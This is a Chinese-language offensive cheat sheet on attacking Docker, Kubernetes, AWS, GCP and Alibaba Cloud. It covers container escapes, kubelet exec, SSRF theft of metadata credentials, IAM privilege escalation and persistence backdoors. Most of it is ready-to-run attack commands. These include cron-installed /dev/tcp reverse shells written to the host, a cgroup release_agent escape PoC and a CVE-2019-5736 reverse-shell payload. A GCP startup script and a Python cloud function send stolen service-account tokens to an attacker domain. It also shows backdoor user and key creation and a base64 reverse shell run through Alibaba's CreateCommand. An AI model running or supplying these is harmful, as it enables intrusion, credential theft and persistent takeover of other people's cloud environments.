云安全

Docker Hacking

未授权API

当系统上安装 docker 时,它将在位于端口 2375 的本地主机上公开一个 API。该 API 可用于与 docker 引擎进行交互,这基本上使您有权在未经身份验证的情况下执行任何您想做的事情。向 /version 端点发出 GET 请求。 将打印出一个 json blob
在 CLI 中,执行以下命令来获取当前正在运行的容器列表:
$ docker -H host:port ps
弹出一个 shell
$ docker -H host:port exec -it container name /bin/bash
https://github.com/Ullaakut/Gorsair

逃逸(权限提升)

一个工具https://github.com/stealthcopter/deepce
二个工具https://github.com/gabrtv/shocker

判断是否在docker容器中

检查/.dockerenv文件是否存在
检查/proc/1/cgroup内是否包含"docker"等字符串。
mount、fdisk -l查看硬盘 、判断PID 1的进程名

配置不当引发的逃逸

挂载点/在宿主/mnt目录
>docker -H tcp://10.1.1.1:2375 run -it -v /:/mnt nginx:latest /bin/bash
容器内执行
>echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.2/4444 0>&1' >> /mnt/var/spool/cron/crontabs/root
本地监听4444,获得宿主机shell

Docker sock

Docker.sock 是一个 Unix 套接字,它使 Docker 服务器端守护进程 dockerd 能够通过 REST API 与其命令行接口进行通信。 套接字显示为 /var/run/docker.sock 文件。 因为它是一个文件,管理员可以在容器中共享和运行 docker.sock,然后使用它与该容器进行通信。 运行 docker.sock 的容器可以启动或停止其他容器,在主机上创建镜像或写入主机文件系统。 这一切意味着当您运行“docker”命令行工具时,它实际上是在与 docker 套接字通信。
有时开发人员会将 docker 套接字安装在 docker 容器内,以便他们可以管理其他容器。 这通常使用以下命令完成::
docker run -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest
注意“-v /var/run/docker.sock:/var/run/docker.sock”选项,这个标志将在 docker 容器内挂载 docker 套接字。 攻击者所要做的就是下载 docker CLI,他们将完全控制 docker API,这将允许他们删除容器、创建容器、执行命令或其他任何他们想要的东西
容器内找到docker.sock
>find / -name docker.sock
容器内查看宿主机信息
>docker -H unix:///var/位置 info
运行一个容器挂载宿主机根路径
>docker -H unix:///var/位置 run -it -v /:/test ubuntu /bin/bash
查看宿主机文件
>ls /test

特权用户

Docker image如果使用“--privileged”标志运行,该标志禁用 Docker 提供的所有保护和隔离。运行“fdisk -l”并接收输出,可认为特权身份允许。
剩下要做的就是将主机文件系统挂载到“/dev/sda1”
>mkdir /test
>mount /dev/sda1 /test,读取宿主机文件。
写入计划任务
>echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.2/4444 0>&1' >> /test/var/spool/cron/crontabs/root
本地监听返回shell
或挂在root目录后写入私钥文件
>docker run -itd -v /root:/root ubuntu:18.04 /bin/bash
>mkdir /root/.ssh
>cat id_rsa.pub >> /root/.ssh/authorized_keys
还可以尝试以下 POC 漏洞利用代码:
    d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
    mkdir -p $d/w;echo 1 >$d/w/notify_on_release
    t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    touch /o;
    echo $t/c >$d/release_agent;
    echo "#!/bin/sh $1 >$t/o" >/c;
    chmod +x /c;
    sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

CVE-2019-5736

条件Docker < 18.09.2,runc< 1.0-rc6(docker ;docker-runc查看版本)
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
>vim main.go
>payload = "#!/bin/bash \n bash -i >& /dev/tcp/YOURIP/1234 0>&1"
编译
>CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
复制到容器上执行
管理员通过exec进入容器,触发Payload

CVE-2019-14271

脏牛漏洞实现Docker逃逸

>git clone https://github.com/gebl/dirtycow-docker-vdso.git
>cd dirtycow-docker-vdso/
>sudo docker-compose run dirtycow /bin/bash
>cd /dirtycow-vdso/
>make
>./xx YOURIP:1234

Docker Backdoor

  获得 docker CLI、API 或 Socket时,对 docker 镜像进行后门操作,第一步将映像下载到本地“docker pull”,,第二部本地创建以目标镜像为基础的镜像,将后门留进去,“docker build”命令将此 Dockerfile 转换为映像,第三步传回去。
  参考
  ● https://github.com/cr0hn/dockerscan
  ● https://github.com/RhinoSecurityLabs/ccat

Kubernetes Hacking

未授权API

Kubernetes 在端口 10250 上公开了一个未经身份验证的 REST API。向 /pods 端点发送 GET 请求来获取 pod 列表。
可以得到
● 命名空间
    ○ 监控
● Pod 名称
● 容器名称
    ○ 推送网关
发送get请求
> curl –insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version:channel.k8s.io" -H "Connection:upgrade" -H "Upgrade:SPDY/3.1" -X POST "https://<DOMAIN>:<PORT>/exec/<NAMESPACE>/<POD NAME>/<CONTAINER NAME>?command=<COMMAND TO EXECUTE>&input=1&output=1&tty=1"
可以成功创建了一个 websocket 连接,注意记住返回包里面的Location Header值
下载wscat
> apt-get install node-ws
执行命令
> wscat -c "https://<DOMAIN>:<PORT>/<Location Header Value>" –no-check

权限提升

RBAC - 列出密钥

如果用户附加了一个角色,允许他们列出密钥,可能会滥用它来提升权限。 当列出存储在集群中的所有机密时,其中之一将是管理令牌,允许攻击者在集群中获得最高权限
> kubectl get secrets #记录NAME
> kubectl describe secrets "NAME"
#### RBAC - Pod 执行
如果你的用户对"pods/exec"资源具有“创建”权限,可以在运行的 pod 上执行 shell 命令。
连接到pod
> kubectl exec --stdin --tty NAME_OF_POD -- /bin/bash
查看令牌
> cat /var/run/secrets/kubernetes.io/serviceaccount/token

RBAC - 模拟

如果用户有能力模拟用户或组,则可以利用它来提升权限
> kubectl get secret --as=system:admin
如上面的命令所示,您可以使用“--as”命令指定执行命令的用户。

枚举

Can I

> kubectl auth can-i get secret
执行“can-i”命令来查看我们是否可以访问机密。

基础设施

Kubernetes 用于管理基础设施,作为攻击者,我们需要绘制出这个基础设施。 节点是运行在虚拟或物理服务器上的工作机器。
> kubectl get nodes
> kubectl get nodes -o yaml 来输出节点列表及其所有相关信息,返回的字段之一将是节点的外部 IP 地址
绘制环境的 pod
> kubectl get pods

Secretes

Secret 是一个包含少量敏感数据(例如密码、令牌或密钥)的对象。 使用 Secret 意味着开发人员无需在其应用程序代码中包含机密数据。 但是,默认情况下,秘码未加密地存储在 API 服务器的底层数据存储 (etcd) 中。 任何拥有 API 访问权限的人都可以检索或修改 Secret,任何拥有 etcd 访问权限的人都可以。 如果攻击者可以访问 kubernetes 机密,他们可能会泄露敏感信息。
> kubectl get secret

Configmap

ConfigMap是一个 API 对象,用于在键值对中存储非机密数据。
> kubectl describe configmap

权限维持

定时任务

Cron 可用于调度在指定 pod 上运行的命令。 由于我们可以在 pod 上运行 bash 命令,因此攻击者可以读取服务帐户令牌并将其发送给攻击者。 攻击者可以使用此令牌对 Kubernetes 进行身份验证。

image

创建 yaml 文件后,使用以下命令创建 cron 作业:
> kubectl create -f cron-job.yaml
如上所示,cron 作业每天凌晨 1:00 发出一个 curl 命令,它将“/var/run/secrets/kubernetes.io/serviceaccount/token”的内容发送到我们的域。 一旦我们将服务器帐户令牌附加到 pod,我们就可以登录。

AWS Hacking

初始访问

SSRF

向以下端点发送 GET 请求将转储附加到当前 EC2 实例的角色列表:
● http://192.168.0.1/latest/meta-data/iam/security-credentials/
获得附加到 EC2 实例的角色列表后,您可以通过向以下 url 发出 GET 请求来转储其凭证:
● http://192.168.0.1/latest/meta-data/iam/security-credentials/%3CROLE_NAME_HERE%3E

image

可以获取这些凭证并将它们与 AWS CLI 一起使用。这将允许您执行该角色有权执行的任何操作。如果该角色的权限设置不正确(很可能),您将能够做各种事情,您甚至可以接管他们的整个云网络。

源码

开发人员喜欢将凭据硬编码到他们的应用程序中.

环境变量

存储 AWS 凭证的另一个常见位置是环境变量。
> env | grep AWS

命令行界面

如果您破坏了用户通过 CLI 与 AWS 交互的主机,您可以通过查看以下文件来恢复其凭证:
> cat ~/.aws/credentials

网络钓鱼

如果一切都失败了,您总是可以相信一封好的网络钓鱼电子邮件来完成工作。 但是,您必须确定向其发送网络钓鱼电子邮件的正确用户、创建虚假的 AWS 登录页面、创建良好的电子邮件模板等。

image

权限提升

一旦您有权访问云用户,您需要查看是否可以升级您的权限。 在云中,权限提升是通过 IAM 完成的,通常是由具有某些权限集的用户引起的。 在 AWS 中,有 21 个公知的 IAM 权限可用于提权。
● https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

iam:CreatePolicyVersion

iam:CreatePolicyVersion 权限允许用户创建现有策略的新版本,如果您的用户附加了策略,您可以将“操作”更改为“*”,将“资源”更改为“*”,这样您就可以访问所有内容
如:
"Action": "iam:CreatePolicyVersion" 改为"Action": "iam:*"
"Resource": "arn:aws:iam::*:policy/*"改为"Resource": "*"
最后,您可以使用以下命令更新您的策略,为您提供管理员级别的访问权限:
> aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default

iam:SetDefaultPolicyVersion2

如果管理员不小心赋予了策略过多的权限,他们可能会使用权限较少的版本更新策略。具有 iam:SetDefaultPolicyVersion2 的用户可以选择哪个版本的策略处于活动状态。这允许用户通过激活具有更高权限的旧版本策略来潜在地提升他们的权限。例如,如果策略的版本 1 具有比版本 2 更高的权限,我们可以将策略回滚到版本 1,从而为该用户提供更高的权限,如下所示
> aws iam set-default-policy-version --policy-arn arn:aws:iam::1231124:policy/VulnerablePolicy --version-id v1

iam:PassRole and ec2:RunInstances

如果用户具有 PassRole 和 RunInstances 权限,他们可以将权限提升到另一个角色。 PassRole 权限允许用户将角色传递给另一个 AWS 资源。请记住,角色可以被认为是机器等资源可以使用的用户,并且具有自己的权限集。接下来,RuneInstances 权限允许我们运行资源,特别是虚拟机 AKA EC2 实例。
"Action":["iam:PassRole","ec2":RunInstances] 
首先,您需要找到一个您也想升级的角色。 获得目标角色后,您需要启动一个附加了目标角色的 EC2 实例。 最后通过 SSH 进入 EC2 实例并查询元数据服务以窃取目标的 AWS 令牌。 使用以下命令创建附加了目标角色“admin”的 EC2 实例:
> aws ec2 run-instances --image-id ami-1de55d875628d2fe0 --instance-type t2.micro --iam-instance-profile Name=admin --key-name "Public" --security-group-ids sg-c91s2ae8 --region us-east-1
实例启动可能需要几分钟时间,但一旦启动,您可以 SSH 进入并点击元数据服务

iam: CreateAccessKey

iam:CreateAccessKey 权限可用于为其他用户创建访问密钥。访问密钥充当凭据,可用于以用户身份发出命令。
如果策略的资源部分设置为“*”,同时拥有此权限集,我们实际上可能会危及环境中的每个用户。
> aws iam create-access-key --user-name admin
如上所示,我们为管理员用户创建了一个访问密钥。我们所要做的就是导入访问密钥,我们就可以开始了。

iam:CreateLoginProfile

iam:CreateLoginProfile 权限用于为尚未设置控制台密码的用户创建控制台密码。拥有此权限使攻击者能够
为目标创建一个密码,该密码可用于通过控制台登录。
> aws iam create-login-profile --user-name admin --password Password123! --no-password-reset-required

iam:UpdateLoginProfile

与 iam:CreateLoginProfile 类似,iam:UpdateLoginProfile 允许我们为用户设置控制台密码。唯一的区别是用户必须已经设置了控制台密码。
> aws iam update-login-profile --user-name admin --password Password234! --no-password-reset-required

iam:AttachUserPolicy

iam:AttachUserPolicy 权限使用户能够将策略附加到用户。如果将此权限附加到您的用户,您可能会将 AWS 托管 AdministratorAccess 策略附加到您的帐户,从而为您提供对云环境的管理员权限。
> aws iam attach-user-policy --user-name target_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:AttachGroupPolicy

iam:AttachGroupPolicy 权限的工作方式与 iam:AttachUserPolicy 相同,只是您将策略附加到组而不是用户。只需确保您是您附加该策略的组的一部分。
> aws iam attach-group-policy --group-name target_group --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:AttachRolePolicy

iam:AttachRolePolicy 权限的工作方式与 iam:AttachUserPolicy 和 iam:AttachGroupPolicy 相同,只是您将策略附加到角色。只需确保您的用户能够模拟该角色即可。
> aws iam attach-role-policy --role-name target_role --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:PutUserPolicy

此权限允许您创建或更新内联策略。如果设置了此权限,攻击者可以利用它添加具有访问管理员级别访问权限的策略,如下所示:

image

接下来使用以下命令将其作为内联策略添加到目标用户。 执行后,该用户应具有对云环境的管理员级别访问权限
> aws iam put-user-policy –user-name TARGET_USER –policy-name my_inline_policy –policy-document ./ADMIN_POLICY_TO_ADD.json

iam:PutGroupPolicy

此策略与 iam:PutUserPolicy 权限非常相似,只是它允许您将内联策略添加/更新到组而不是用户。同样,您需要创建一个具有管理员级别访问权限的策略,并将其作为内联策略添加到您的用户有权访问的组中。
> aws iam put-group-policy –group-name GROUP_NAME –policy-name group_inline_policy –policy-document ./ADMIN_POLICY_TO_ADD.json

iam:PutRolePolicy

同样,此权限与 iam:PutUserPolicy 和 iam:PutGroupPolicy 非常相似。唯一的区别是这使您可以添加/更新角色的内联策略。创建一个管理员级别的策略并将其添加到您可以担任的角色中。
> aws iam put-role-policy –role-name ROLE_NAME –policy-name role_inline_policy –policy-document ./ADMIN_POLICY_TO_ADD.json

iam:AddUserToGroup

此角色允许您将用户添加到组。攻击者可以通过将其用户添加到具有更高权限的组来滥用这一点。如果有一个具有管理员级别权限的组,请尝试将您的用户添加到其中,如果成功,您的用户也应该具有管理员级别权限。
> aws iam add-user-to-group –group-name GROUP_NAME –user-name USER_NAME

枚举

一旦您有权访问云帐户,您需要弄清楚您的用户有权与哪些资源进行交互。 AWS 有数百种服务,因此我们无法涵盖所有服务,但您至少应该熟悉基本服务

image

S3 存储桶

我确定您听说过 S3 存储桶,但如果您没有听说过,它是一种用于存储文件和其他对象的公共云存储资源。 作为攻击者,这绝对是您想要寻找的东西,因为它有可能存储敏感数据。
列出云环境中的所有 S3 存储桶
> aws s3api list-buckets
在某些情况下,您可能有权访问 S3 存储桶,但缺少列出 S3 存储桶名称所需的权限或策略。在这种情况下,您必须能够猜测或暴力破解您有权访问的 S3 存储桶的名称。
知道 S3 存储桶的名称后,您可以通过发出以下 CLI 命令查看其内容:
> aws s3 ls YOUR_BUCKET
这将列出存储桶中的所有文件和文件夹。要下载文件,您可以发出“cp”命令,如下所示:
> aws s3 cp s3://YOUR_BUCKET/file.txt file.txt
如上所示,我们正在将文本文件“file.txt”下载到本地系统。
您还可以使用以下命令下载整个 S3 存储桶:
> aws s3 sync s3://YOUR_BUCKET

虚拟机

AWS 有多种类型的虚拟机,但最流行的一种是弹性计算云 (EC2)。您可以根据需要使用 Amazon EC2 启动任意数量的虚拟服务器、配置安全性和网络以及管理存储。
> aws ec2 describe-instances
此命令返回 EC2 实例列表及其相关信息,例如其 IP 地址、instanceid、名称等。 以上返回大量信息,但您可以使用内置 JSON 解析器通过 --query 参数过滤输出
> aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIP:PublicIpAddress,Name:Tags[?Key=='Name']|[0].Value,Status:State.Name}"

数据库

作为攻击者获得公司数据库的访问权限是一座金矿。 数据库包含各种有趣的东西,例如用户名和密码。 根据技术要求,一个环境中可能运行多种不同类型的数据库

image

AWS 提供处理一切的服务,但我们将专注于托管 MySql 数据库的“Amazon RDS”服务。 要获取正在运行的数据库的列表,请运行以下命令:
> aws rds describe-db-instances
返回的字段之一是地址和root用户。如果该地址可以外联,您可以将其与 root 用户一起使用来发起暴力攻击。
根据您的权限,您可能能够重置主密码。这可以通过以下命令完成:
> aws rds modify-db-instance --db-instance-identifier INSTANCE_NAME --master-user-password NEWPASSWORD --apply-immediately
重置主密码后,您可以登录数据库并下载所有内容。但是,更改 root 密码肯定会引发警报,并且您可能会破坏使用该帐户的任何应用程序,因此在这样做时要小心。

Elastic BeanStalk

AWS Elastic Beanstalk (EBS) 是一种易于使用的服务,用于部署和扩展使用 Java、. NET,PHP。在熟悉的服务器(如 Apache、Nginx、Passenger 和 IIS)上运行 Node.js、Python、Ruby、Go 和 Docker。这意味着我们可以使用 EBS 通过单击按钮或 shell 命令轻松部署应用程序。 AWS 自动化了整个部署过程。
通常,您会看到部署到 beanstalk 环境的前端或 API。可以通过发出以下 CLI 命令来定位这些环境:
> aws elasticbeanstalk describe-environments
注意返回的“EndpointURL”变量。 这将有一个指向 EBS 托管的应用程序的公共 url。 拥有此端点后,您可以对该应用程序发起进一步的攻击

image

EBS 的另一个有趣之处在于,它将应用程序从 S3 存储桶中包含的源代码部署到 EC2 实例。 当我们按下部署按钮时,它会获取我们的源代码并将其保存到 S3 存储桶中,然后将其从该文件部署到虚拟机。 这意味着我们应该能够在 S3 存储桶中找到所有 EBS 应用程序的源代码。 任何有权访问该 S3 存储桶的人也将有权访问所有 EBS 应用程序的源代码
> aws s3 ls  可以查看是否存在名为 elasticbeanstalk 的 S3 存储桶
> aws s3 ls elasticbeanstalk-XXXX 
在该 s3 存储桶上发出 ls 命令,您应该会看到一堆 .zip 文件。
这些 zip 文件包含部署到 beanstalk 的应用程序的源代码。 下一步是下载这些文件并分析硬编码凭据和漏洞的源代码

权限维持

新用户

对云环境进行后门的最简单方法之一是创建一个对该环境具有完全访问权限的新用户。 使用“aws iam create-user --user-name MyUser”命令创建新用户。
一旦你创建了这个用户,你应该把他们放在一个拥有最高权限的组中。 要将用户添加到组中,您可以使用以下命令:
> aws iam add-user-to-group --user-name MyUser --group-name MyIamGroup
最后使用以下命令为用户添加密码:
> aws iam create-login-profile --user-name MyUser --password password@123.

访问密钥

如果用户更改了密码,您将无法再访问该用户。
但是,用户拥有的任何访问密钥仍然有效。 如果您拥有正确的权限,则可以通过为其他用户创建和下载访问密钥来后门。 这可以通过以下命令完成。
> aws iam create-access-key --user-name MyUser
现在您有了访问密钥,您可以将其与 AWS cli 一起使用,以该用户身份与云环境进行交互。

Google Cloud Platform Hacking

初始访问

SSRF

你应该已经知道如何利用 AWS hacking 章节中的 SSRF,所以我不会在这里再次介绍它,因为那部分是相同的。唯一的区别是元数据 url 在 GCP 上略有不同。
● http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
请注意,如果启用了 V2,您可能还必须发送自定义标头,如下例所示:
●"Metadata-Flavor: Google"

源代码泄露

您可以在应用程序的源代码中找到几种类型的凭据。第一种类型是 API 密钥。如下所示,您的应用程序必须向包含您的 API 密钥的特定谷歌端点发出 HTTP 请求:
● https://language.googleapis.com/v1/documents:analyzeEntities?key=API_KEY
如果您正在查看“googleapis.com”的源代码,则可能会发现可能包含 API 密钥的字符串。
除了 API 密钥,您还可以使用包含凭据的 JSON 文件。您必须对包含凭据的路径进行硬编码,而不是硬编码凭据。如果您有权访问该文件,则可能会破坏这些凭据。

环境变量

另一个流行的存储凭证的地方是环境变量。 如下图所示,这些凭据存储在 json 文件中,并放入“GOOGLE_APPLICATION_CREDENTIALS”环境变量中。
> env

网络钓鱼

当所有其他方法都失败时,尝试网络钓鱼。

特权升级和横向移动

IAM 权限

绝大多数权限提升技术都是围绕成员的角色和权限进行的。 请记住,GCP 权限用于决定成员有权访问哪些资源
● https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
● https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/
Deploymentmanager.deployments.create
此权限允许您将资源部署为“cloudservices.gserviceaccount.com”,默认情况下具有编辑者角色。 攻击者可以滥用此权限来创建计算实例,添加启动脚本以通过元数据服务收集服务帐户访问令牌,最后将其发送回攻击者。
第一步是创建用于设置计算引擎实例的 YAML 文件。
请注意,启动脚本向元数据服务发出 curl 请求,然后它获取响应并将其发送到攻击者的计算机。 这个配置文件可以在下面找到,
只需将 <ATTACKER-DOMAIN-HERE> 行替换为您的域或 ip:
resources:
- name: vm-created-by-deployment-manager
  type: compute.v1.instance
  properties:
    zone: us-central1-a
    machineType: zones/us-central1-a/machineTypes/n1-standard-1
    disks:
       deviceName: boot
    type: PERSISTENT
    boot: true
    autoDelete: true
    initializeParams:
        sourceImage: projects/debian-cloud/global/images/family/debian-9
    networkInterfaces:
    - network: global/networks/default
      accessConfigs:
        - name: External NAT
        type: ONE_TO_ONE_NAT
    metadata:
      items:
      - key: startup-script
        value: |
            #!/bin/bash
            apt-get update
            apt-get install -y curl 
            curl http://<ATTACKER-DOMAIN-HERE>/gce_token -d $(curl
            http://169.254.169.254/computeMetadata/v1beta1/instance/service-accounts/default/token)
    serviceAccounts:
    - email: default
      scopes:
        - https://www.googleapis.com/auth/cloud-platform
接下来,您需要使用部署管理器命令创建计算引擎
如下所示:
gcloud deployment-manager deployments create <DEPLOYMENT-NAME> --config <CONFIG-FILE-NAME>.yaml
计算引擎启动后,您应该会收到带有新创建的访问令牌的回调
iam.roles.update
角色只是权限的集合。 iam.roles.update 权限允许您向自定义角色添加其他权限。 如果您将自定义角色应用于您的帐户,您可以向该角色添加额外的权限,以便您升级您的权限,如下所示:
> gcloud iam roles update <ROLE-NAME> --project PROJECT-ID>--permissions=<PERMISSION-1,PERISSION-2>
iam.serviceAccounts.getAccessToken
在 gcloud 中,访问令牌充当帐户的临时凭证。 获得对另一个用户的访问令牌的访问权限允许攻击者以受害者身份向 gcloud 进行身份验证。 不幸的是,我找不到 gcloud cli 命令来执行此操作,但我们可以使用
谷歌API如下图:
>  curl -X POST -H "Authorization: Bearer "$(gcloud auth print-access-token) -H "Content-Type: application/json; charset=utf-8" -d "{ 'scope': [ 'https://www.googleapis.com/auth/iam','https://www.googleapis.com/auth/cloud-platform' ] }" https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<TARGET-SERVICE-ACCOUNT>:generateAccessToken
iam.serviceAccountKeys.create
iam.serviceAccounts.getAccessToken 允许您创建临时凭证,但此权限允许您创建附加到服务帐户的永久密钥。 然后可以使用这些密钥登录 gcloud
> gcloud iam service-accounts keys create OUTPUT-FILE --iam-account=IAM_ACCOUNT
iam.serviceAccounts.actAs
此权限允许您使用另一个服务帐户创建资源。例如,如果您想创建一个计算实例并将另一个服务帐户附加到该 VM,您将需要此权限以及创建 VM 的权限。
在以下需要此权限才能工作的小节中可以找到更多示例。
Cloudfunctions.functions.create
此方法需要设置以下权限:
● iam.serviceAccounts.actAs
● Cloudfunctions.functions.create
● Cloudfunctions.functions.sourceCodeSet
● Cloudfunctions.functions.create
在这里,我们正在创建一个云函数作为另一个服务帐户,当调用该服务帐户时,它将获取服务帐户访问令牌并将其发送到攻击者的机器。
● 创建云功能
● 附加服务帐号到云功能
● 调用云功能
    ○ 使用元数据服务获取访问令牌
● 向攻击者发送凭据

GCP IAM 权限提升工具

Rhino Security Labs 还创建了一个工具,可用于搜索和利用这些错误配置:
● https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
要使用此工具,您必须拥有有效的访问令牌和项目 ID。可以通过多种方式检索访问令牌和项目 ID,但最流行的方式之一是通过 SSRF。
首先运行 enumerate_member_permissions.py 脚本
> python3 enumerate_member_permissions.py --project xxxxx
请注意,如果您没有正确的权限,该命令将失败并且您将无法检查权限升级,但是您可以使用蛮力方法,手动尝试所有的利用,直到一个有效。
如果您确实拥有正确的权限,该命令将运行并将所有内容保存到一个文件夹中。 下一步是运行“python3 check_for_privesc.py”命令。 鉴于当前的 IAM 政策,这将检查您可以危害其他账户的所有可能方式
根据结果,您将能够破坏多个帐户。 要实际运行漏洞利用,您需要移动到漏洞利用文件夹。 然后你只需选择你的漏洞利用,用你的详细信息编辑 python 文件,然后运行脚本。
为其他帐户创建服务帐户密钥,如果成功,这将允许您以该服务帐户身份登录,这对于横向移动非常有用
在文件iam.serviceAccountKeys.create.py中我们需要输入项目 id 和我们的目标服务帐户。 之后,运行脚本,它会询问您的访问令牌,脚本完成后,它将创建并输出目标服务帐户密钥
接下来,您必须对“privateKeyData”进行 base64 解码,它应该为您提供一个 json blob。 此 json blob 是您的凭据。 获得凭据后,您可以使用 gcloud 通过以下命令以该用户身份登录。
> gcloud auth activate-service-account --key-file=test_cred.json
如果用户拥有比我们更高的权限,那么我们只需执行权限升级,如果他们没有,那么我们可以使用它进行横向移动。 此外,我们还可以使用相同的技术对用户进行后门。
查看“check_for_privesc.py”脚本的输出即可了解您可以做什么

枚举

当您访问云帐户时,您需要确定的第一件事就是您也可以访问哪些服务。根据您的权限,这可能是直截了当或稍微困难一些。如果您拥有所有者、编辑者或查看者等任何原始角色,您可能拥有在云环境中发现所有内容所需的所有权限,只需使用 Gcloud、Gsutil、Google SDK 库或 Google API 并开始查询即可。

工具

在这个阶段可以使用几个工具,如下所示:
● Gcloud
● Gsutil
● 适用于您的编程语言的 Google SDK 库
● 谷歌API

> Gsutil ls
如果您只有访问帐户,您可以使用以下命令直接查询 google api:
> curl -X GET -H "X-Goog-User-Project: PROJECT-HERE" -H "Content-Type:application/json" -H "Authorization: Bearer ACCESS-TOKEN-HERE" https://storage.googleapis.com/storage/v1/b?project=PROJECT-HERE
获得存储桶列表后,您就可以开始查看其中的内容。人们在这里存储各种东西,比如凭据、加密密钥以及其他任何被认为是敏感的东西。 在发现阶段,您应该已经发现了目标 GCP 环境中的所有存储桶,现在是时候环顾四周,看看您能找到什么
> gsutil ls gs://STORAGE_BUCKET_NAME
使用“cat”命令转储文件的内容:
> gsutil cat gs://SOTRAGE_BUCKET_FILE
传送到一个文件并在本地打开它。 您还可以将整个存储桶复制到本地计算机:
> gsutil cp -r dir gs://STORAGE_BUCKET_NAME

实例

您的目标云环境可能正在运行多个虚拟机。 绘制您的环境以查看哪些机器正在运行以及您可以访问哪些机器是一个好主意。 这可以使用 gcloud 完成,如下所示:
> gcloud compute instances list
如果您只有访问令牌,您还可以使用计算 google api 来提取此信息

数据库

使用 gcloud 和 google API 来查找这些实例
> gcloud sql instances list
> gcloud spanner instances list
> gcloud bigtable instances list

加密和解密密钥

内容存储在 GCP(存储桶)上时,有的将它们存储为纯文本,有的使用密钥对其进行加密。钥存储在密钥管理系统 (KMS) 中,如果有权访问密钥,则可以使用该密钥来解密敏感文件。 使用以下命令查找加密密钥:
> gcloud kms keyrings list --location global
> gcloud kms keys --keyring KEY-RING-NAME --location global

图片

下载它们,看看它们上有什么秘密
> gcloud compute images list --no-standard-images

容器

可参考docker hacking
> gcloud container images list

Kubernetes

与其他云平台不同,kubernetes 在 GCP 用户中非常受欢迎。
> gcloud container clusters list

NotSoSecure 云服务枚举工具

● https://github.com/NotSoSecure/cloud-service-enum  这个工具的好处是它需要一个访问密钥而不是服务帐户密钥。
> python3 gcp_service_enum.py --access-token ACCESS-TOKEN-HERE --project-id PROJECT-ID-HERE

持久性

创建服务帐号密钥

您可以通过多种方式向 GCP 进行身份验证,其中一种是通过服务帐户密钥。 服务帐户可以有多个与之关联的密钥,每个密钥都可以让您以该用户的身份访问 GCP
用来自 Rhino Security Labs 的相同漏洞利用脚本来执行此操作。
● https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py
如果您使用 gcloud,您可以运行以下命令为其他用户创建服务帐户密钥:
> gcloud iam service-accounts keys create OUTPUT-FILE--iam-account=IAM_ACCOUNT
接下来将密钥导入 gcloud,您将能够以该用户身份与 GCP 交互。
> gcloud auth activate-service-account --key-file=CREDENTIALS-FILE.JSON
请注意,要运行此命令,您必须设置正确的权限,否则您将被拒绝。 如果您确实拥有正确的权限,您可以对项目中的每个服务帐户进行后门,从而让您轻松访问目标云环境

云功能

未经认证的 HTTP 云函数
云功能是很好的后门。 您所要做的就是创建一个未经身份验证的云函数,其触发器是一个 HTTP 请求。 接下来,您将云功能设置为执行用户发送给您的任何操作系统命令

image

您不想创建新功能,也可以更新另一个云功能来植入您的后门。
要将此技术与 gcloud 一起使用,只需输入以下命令:
● 创建一个名为 main.py 的 python 脚本
> gcloud functions deploy NAME-OF-CLOUD-FUNCTION-HERE --entry-point ENTRY-POINT-HERE --runtime python37 --trigger-http --allow-unauthenticated
定时任务
熟悉 Linux cron ,那么 Google Cloud Scheduler 也是如此。 Linux 恶意软件通常使用 cron 进行持久性,并且可以在云中使用相同的技术
cron 作业可以用作许多事情的触发器,使用它来发送 Pub/Sub 消息。 设置一个云函数,当它接收到 Pub/Sub 消息时将触发它。 云功能可以做任何你想做的事情,使用它来将服务帐户凭据发送到攻击者的机器。
这种攻击只涉及三个步骤,如下所示:
● 创建发布/订阅主题
● 创建一个 cron 作业任务
● 创建恶意云功能
$ gcloud pubsub topics create test
接下来创建一个 cron 作业,在本例中,我将创建一个每分钟执行一次的 cron 作业。
此 cron 作业将向 Pub/Sub 主题发布消息,最终触发恶意云功能。
$ gcloud scheduler jobs create pubsub myjob --schedule "* * * * *" --topic mytopic --message-body "Hello"
最后创建恶意云函数。 这个函数应该用来做一些恶意行为,在这个例子中它会向攻击者发送一个身份验证令牌
$ gcloud functions deploy <CLOUD-FUNCTION-NAME> --entry-point <PYTHON-FUNCTION-NAME> --runtime python37 --trigger-topic=<TOPIC-NAME>
首先,我们点击元数据服务来获取附加的服务帐户身份验证令牌。
然后我们通过 GET 请求将其发送给攻击者
import requests
import json
def evil_pubsub(event, context):
    """Triggered from a message on a Cloud Pub/Sub topic.
    Args:
    event (dict): Event payload.
    context (google.cloud.functions.Context): Metadata for the event.
    """
    r = requests.get(url = "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",headers={"Metadata-Flavor":"Google"})
        PARAMS = {"data":r.text}
        requests.get(url="http://<ATTCKER-DOMAIN-HERE>/",params = PARAMS)
一旦 cron 运行,它将向 Pub/Sub 发送一条消息。 本地监听此主题,可在触发时获取附加的服务帐户凭据

阿里云OSS Key利用

反编译app文件,查找可能会包含oss key的文件,如JS。
OSSAccessKey、AccessKeySecret使用OSS浏览器访问。
第三方行云管家可修改系统密码。
反弹shell
From: https://xz.aliyun.com/t/8310
https://api.aliyun.com/#/?product=Ecs
搜索框搜索选择CreateCommand来创建一个命令
CommandContent填命令的base64,Type填RunShellScript
命令echo "bash -i >& /dev/tcp/你的IP/端口 0>&1"| base64
